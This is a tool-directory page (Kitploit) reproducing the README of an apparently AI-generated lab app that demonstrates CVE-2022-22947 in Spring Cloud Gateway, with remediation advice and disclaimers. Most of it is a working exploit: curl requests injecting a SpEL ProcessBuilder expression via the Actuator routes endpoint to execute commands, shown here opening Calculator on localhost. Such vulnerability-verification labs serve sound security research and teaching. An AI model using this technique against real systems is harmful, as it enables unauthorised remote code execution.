Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-22947-pb-ai — 一个由AI生成的漏洞验证应用 | Kitploit
Tools/GitHubGitHub/skysliently/cve-2022-22947-pb-ai
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationAPI Security TestingLearning & Education
GitHubskysliently/cve-2022-22947-pb-ai

CVE-2022-22947-pb-ai

一个由AI生成的漏洞验证应用

View Repository
41 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-22947 Spring Cloud Gateway Vulnerability Verification Application

This is a Spring Cloud Gateway application specifically designed to demonstrate and verify the CVE-2022-22947 vulnerability. The application uses a vulnerable version of Spring Cloud Gateway and allows arbitrary code execution through the Actuator endpoint.

Vulnerability Overview

CVE-2022-22947 is a remote code execution vulnerability in Spring Cloud Gateway. Attackers can execute arbitrary code by dynamically adding routes containing malicious SpEL expressions through the Actuator endpoint.

Environment Requirements

  • Java 11+
  • Maven 3.6+
  • macOS system (for calculator demo)

Starting the Application

root@kitploit:~
mvn spring-boot:run

The application will start at http://localhost:8080.

Vulnerability Verification Steps

Step 1: Add Malicious Route

Send a POST request to the /actuator/gateway/routes/test endpoint to add a route containing a malicious SpEL expression:

root@kitploit:~
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
  -H "Content-Type: application/json" \
  -d '{
    "id": "test",
    "filters": [
      {
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
        }
      }
    ],
    "uri": "http://example.com",
    "predicates": [
      {
        "name": "Path",
        "args": {
          "_genkey_0": "/test"
        }
      }
    ]
  }'

Step 2: Refresh Routes

Send a POST request to the /actuator/gateway/refresh endpoint to refresh routes:

root@kitploit:~
curl -X POST http://localhost:8080/actuator/gateway/refresh

Step 3: Trigger Malicious Code

Access the malicious route to trigger code execution:

root@kitploit:~
curl http://localhost:8080/test

Expected Result

After successfully exploiting the vulnerability, the macOS Calculator application will launch.

Key Request Information

1. Request to Add Malicious Route

Endpoint: POST /actuator/gateway/routes/test

Request Headers:

root@kitploit:~
Content-Type: application/json

Request Body:

root@kitploit:~
{
  "id": "test",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "Result",
        "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
      }
    }
  ],
  "uri": "http://example.com",
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/test"
      }
    }
  ]
}

2. Request to Refresh Routes

Endpoint: POST /actuator/gateway/refresh

3. Request to Trigger Vulnerability

Endpoint: GET /test

Vulnerability Analysis

This vulnerability allows attackers to dynamically add routes via the Actuator endpoint and execute arbitrary code using SpEL expressions within route filters. The core issue lies in Spring Cloud Gateway's improper handling of SpEL expressions in route configuration.

Remediation Suggestions

  1. Upgrade to Spring Cloud Gateway 3.1.1+ or 3.0.7+
  2. Disable the Actuator endpoint or restrict access
  3. Use Spring Security to protect the Actuator endpoint

Version Information

  • Spring Boot: 2.6.2
  • Spring Cloud: 2021.0.0
  • Spring Cloud Gateway: 3.1.0 (Vulnerable version)

Notes

⚠️ Security Warning: This application is intended for educational and security research purposes only. Do not use or deploy this application in a production environment.

⚠️ Legal Disclaimer: When using this application for vulnerability testing, ensure you have proper authorization. Unauthorized testing may violate laws and regulations.

Download Tool